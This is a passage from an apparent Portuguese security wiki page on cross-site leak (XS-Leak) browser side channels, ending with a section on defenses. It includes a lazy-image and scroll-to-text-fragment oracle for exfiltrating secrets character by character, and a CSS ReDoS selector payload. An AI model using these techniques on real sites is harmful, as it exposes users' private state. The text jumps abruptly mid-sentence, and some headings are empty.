Também existem maneiras de fazer isso sem interação do usuário, como abusar dos tempos de renderização, isso funciona porque leva tempo para pintar links de uma cor diferente.
Um PoC foi fornecido em um relatório do Chromium que funciona usando vários links para aumentar a diferença de tempo.

Vazamento X-Frame do ContentDocument

No Chrome, quando uma página não tem permissão para ser incorporada em uma página de origem cruzada, porque o cabeçalho X-FrameOptions (XFO) está definido para negar ou mesma origem, uma página de erro é exibida em vez disso. Para objetos, essa página de erro pode ser detectada verificando a propriedade contentDocument. Normalmente, essa propriedade retorna nulo porque o acesso a um documento incorporado de origem cruzada não é permitido. No entanto, devido à renderização do Chrome da página de erro, um objeto de documento vazio é retornado em vez disso. Isso não funciona para iframes ou em outros navegadores. Desenvolvedores podem esquecer de definir X-Frame-Options para todas as páginas e especialmente páginas de erro muitas vezes não têm esse cabeçalho. Como técnica de vazamento, um atacante pode ser capaz de diferenciar entre diferentes estados do usuário verificando isso.

Detecção de Download

O cabeçalho Content-Disposition (Content-Disposition: attachment) indica se o navegador deve baixar o conteúdo ou exibi-lo inline.

Se apenas um usuário logado pudesse acessar uma página que fará o download de um arquivo porque está usando o cabeçalho. É possível detectar esse comportamento.

Barra de Download

Em navegadores baseados no Chromium, quando um arquivo é baixado, uma prévia do processo de download aparece em uma barra na parte inferior, integrada à janela do navegador. Monitorando a altura da janela, os atacantes podem detectar se a "barra de download" foi aberta.

Navegação de Download (com iframes)

Outra maneira de testar o cabeçalho Content-Disposition: attachment é verificar se ocorreu uma navegação. Se um carregamento de página causar um download, ele não aciona uma navegação e a janela permanece na mesma origem.

Navegação de Download (sem iframes)

Mesma técnica que a anterior, mas usando window.open em vez de iframes.

Bypass do Cache HTTP Particionado

{% hint style="warning" %} É por isso que essa técnica é interessante: o Chrome agora tem particionamento de cache, e a chave de cache da página recém-aberta é: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), a chave de cache é diferente, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: Ganhando segurança e privacidade ao particionar o cache
(Comentário de aqui) {% endhint %}

Se um site example.com inclui um recurso de *.example.com/resource, então esse recurso terá a mesma chave de cache como se o recurso fosse solicitado diretamente através de navegação de nível superior. Isso ocorre porque a chave de cache é composta pelo eTLD+1 de nível superior e eTLD+1 do frame.

Porque acessar o cache é mais rápido do que carregar um recurso, é possível tentar mudar a localização de uma página e cancelá-la 20ms (por exemplo) depois. Se a origem foi alterada após a parada, significa que o recurso estava em cache.
Ou poderia apenas enviar algum fetch para a página potencialmente em cache e medir o tempo que leva.

Redirecionamento Manual

Fetch com AbortController

AbortController pode ser combinado com fetch e setTimeout para detectar se o recurso está em cache e para remover um recurso específico do cache do navegador. Uma característica interessante desta técnica é que a sondagem ocorre sem armazenar novo conteúdo no processo.

Poluição de Script

Service Workers

  1. O atacante registra um
<img src=/something loading=lazy >

Portanto, o que você pode fazer é adicionar muitos caracteres inúteis (Por exemplo, milhares de "W"s) para preencher a página web antes do segredo ou adicionar algo como <br><canvas height="1850px"></canvas><br>.
Então, se por exemplo nossa injeção aparecer antes da flag, a imagem seria carregada, mas se aparecer depois da flag, a flag + o lixo irão impedir que ela seja carregada (você precisará ajustar a quantidade de lixo a colocar). Foi o que aconteceu neste relato.

Outra opção seria usar o scroll-to-text-fragment se permitido:

Scroll-to-text-fragment

No entanto, você faz o bot acessar a página com algo como

#:~:text=SECR

Então a página web será algo como: https://victim.com/post.html#:~:text=SECR

Onde post.html contém os caracteres de lixo do atacante e a imagem de carregamento lento e então o segredo do bot é adicionado.

O que este texto fará é fazer o bot acessar qualquer texto na página que contenha o texto SECR. Como esse texto é o segredo e está abaixo da imagem, a imagem só carregará se o segredo adivinhado estiver correto. Então você tem seu oráculo para exfiltrar o segredo caractere por caractere.

Alguns exemplos de código para explorar isso: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Carregamento Lento de Imagem Baseado em Tempo

Se não for possível carregar uma imagem externa que poderia indicar ao atacante que a imagem foi carregada, outra opção seria tentar adivinhar o caractere várias vezes e medir isso. Se a imagem for carregada, todas as solicitações levarão mais tempo do que se a imagem não for carregada. Isso foi o que foi usado na solução deste writeup resumido aqui:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Se jQuery(location.hash) for usado, é possível descobrir através do tempo se algum conteúdo HTML existe, isso porque se o seletor main[id='site-main'] não corresponder, não é necessário verificar o resto dos seletores:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Injeção de CSS

{% content-ref url="xs-search/css-injection/" %} injeção de css {% endcontent-ref %}

Defesas

Nesta seção, você pode encontrar parte das mitigações recomendadas em https://xsinator.com/paper.pdf, no entanto, existem mais mitigações em cada seção da wiki https://xsleaks.dev/. Visite para mais informações sobre como se proteger contra essas técnicas.

Mitigações do Método de Inclusão

  • Elementos HTML. Podem usar o cabeçalho CORP para controlar se páginas podem incorporar um recurso. CORP pode ser configurado como same-origin ou same-site e bloqueia quaisquer solicitações cross-origin ou cross-site para esse recurso. No lado do cliente, navegadores baseados em Chromium usam o algoritmo CORB para decidir se solicitações de recursos cross-origin devem ser permitidas ou negadas.
  • Frames. A principal defesa para prevenir elementos iframe de carregar recursos HTML é o uso de X-Frame-Options. Alternativamente, a diretiva CSP frame-ancestors pode alcançar um resultado similar. Se a incorporação for negada, o método de inclusão não pode detectar uma diferença nas respostas.
  • Pop-ups. Para restringir o acesso a window.opener, o cabeçalho de resposta HTTP COOP define três valores diferentes: unsafe-none (padrão), same-origin-allow-popups e same-origin. Esses valores podem ser usados para isolar abas de navegação e pop-ups e, assim, mitigar técnicas de vazamento baseadas em pop-ups.
  • Solicitações JavaScript. Solicitações JavaScript cross-origin são frequentemente usadas em ataques XS-Leak, porque um atacante tem controle preciso sobre a solicitação emitida. No entanto, como essas solicitações não são habilitadas para CORS, elas estão sujeitas às mesmas restrições que solicitações enviadas por elementos HTML, como scripts ou imagens. Assim, o impacto desta técnica de vazamento também pode ser mitigado por CORP e CORB.

Métodos mais genéricos:

  • Metadados de Fetch. Esses cabeçalhos de solicitação permitem que os proprietários de servidores entendam melhor como o navegador do usuário causou uma solicitação específica. No Chrome, cabeçalhos Sec-Fetch-* são automaticamente adicionados a cada solicitação e fornecem metadados sobre a proveniência da solicitação. Por exemplo, Sec-Fetch-Dest: image foi acionado a partir de um elemento de imagem. Aplicações web podem então escolher bloquear solicitações com base nessas informações.
  • Cookies Same-Site. A flag de cookie Same-Site permite que sites declarem se um cookie deve ser restrito a um contexto same-site ou firstparty. Todos os principais navegadores suportam cookies Same-Site. No GC, cookies sem o atributo são agora Lax por padrão. Para XS-Leaks, cookies Same-Site limitam drasticamente as possibilidades de ataque de vazamento. Por outro lado, técnicas de vazamento que dependem de window.open ainda funcionam com SameSite=Lax. Sites que usam outros métodos de autenticação, como certificados do lado do cliente e autenticação HTTP, permanecem vulneráveis.
  • Desvinculação de Identificador Cross-Origin (COIU). COIU, também conhecido como Isolamento de Primeira Parte (FPI), é um recurso de segurança opcional que os usuários podem habilitar nas configurações avançadas do FF (about:config) e foi inicialmente introduzido no Tor Browser. De forma abstrata, é um contexto same-site estendido. Ele vincula múltiplos recursos (por exemplo, Cookies, Cache, Armazenamentos do lado do cliente) à primeira parte em vez de compartilhá-los entre todos os sites visitados. Se habilitado, o COIU diminui drasticamente a aplicabilidade de XS-Leaks, já que apenas métodos que usam pop-ups ainda são possíveis para atender ao requisito de primeira parte da política.
  • Proteções de Rastreamento. A Apple implementou um mecanismo de privacidade chamado Prevenção Inteligente de Rastreamento (ITP) no SA que visa combater o rastreamento cross-site limitando as capacidades de cookies e outras APIs web. Em versões mais recentes do SA, o ITP bloqueia todos os cookies de terceiros por padrão sem exceções [74]. Esse bloqueio impede todos os vazamentos que não são baseados em pop-ups. O FF adotou uma abordagem semelhante com a Prevenção Aprimorada de Rastreamento (ETP), mas eles só bloqueiam cookies de terceiros específicos pertencentes a provedores de rastreamento. No contexto de XS-Leaks, o ETP só mitiga técnicas de vazamento que visam esses domínios de rastreamento.
  • Extensões de Navegador. Usuários conscientes de segurança podem usar extensões de navegador para prevenir certos métodos de inclusão.

Mitigações de Técnicas de Vazamento

  • Manipulador de Eventos. A mitigação mais eficaz para esta técnica de vazamento seria negá-las todas, mas isso quebraria a maioria das aplicações web na Internet. Portanto, propomos reduzir o número de informações necessárias que podem ser coletadas dentro de eventos. Por exemplo, o evento de violação do CSP não deve conter a URL de redirecionamento alvo no campo blockedURI. Esse comportamento é implementado no FF e em versões mais recentes do GC – apenas o SA permanece vulnerável.
  • Mensagens de Erro. Para mitigar XS-Leaks baseados na técnica de vazamento de mensagens de erro, há dois requisitos principais. Primeiro, mensagens de erro não devem conter informações detalhadas, de forma semelhante às mensagens de manipulador de eventos. Segundo, os navegadores devem minimizar a ocorrência de mensagens de erro. XS-Leaks como Erro SRI, ContentDocument XFO ou Fetch Redirect detectam se uma mensagem de erro é lançada ou não.
  • Limites Globais. Corrigir técnicas de vazamento que abusam de limites globais é relativamente complexo porque dependem de restrições físicas. A recomendação geral é restringir limites globais em uma pequena base por site. Se o limite global for 1, como para a API de Pagamento, o atacante pode tentar ativar silenciosamente a UI de WebPayment a qualquer momento, o que só tem sucesso se a UI não estiver sendo usada simultaneamente por outra aba. Recomendamos acessar a API de Pagamento apenas quando um evento confiável for usado. Dessa forma, o limite global é definido como zero a menos que o usuário forneça consentimento, como um clique com o botão esquerdo do mouse em uma janela de diálogo, que define o limite global para um.
  • Estado Global. Quaisquer propriedades do estado global de um navegador não devem ser acessíveis. Por exemplo, o FF é o único navegador que atualiza o estado global do histórico quando ocorre um redirecionamento, o que resulta na leitura de history.length. Navegadores devem criar uma nova propriedade de histórico quando ocorrer um redirecionamento em vez de armazená-la globalmente. Outros exemplos são recursos compartilhados, como caches. Vazamentos de cache abusam do cache compartilhado usado para todos os sites abertos em um navegador. Para mitigar completamente as técnicas de vazamento de cache, o cache HTTP deve ser particionado em uma base por site, como implementado por SA, GC e FF. Note que no SA iframes não são afetados pela partição de cache.
  • API de Desempenho. Provamos que a API de Desempenho é uma excelente técnica de vazamento. Em muitos XS-Leaks, pudemos detectar a diferença se a resposta de uma solicitação cross-origin tem ou não uma entrada de desempenho. Como unificação, recomendamos garantir que todas as solicitações criem tal entrada e apenas o subconjunto correto de informações de tempo seja registrado para solicitações cross-origin.

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:


Use Trickest para construir e automatizar fluxos de trabalho facilmente, com as ferramentas comunitárias mais avançadas do mundo.
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}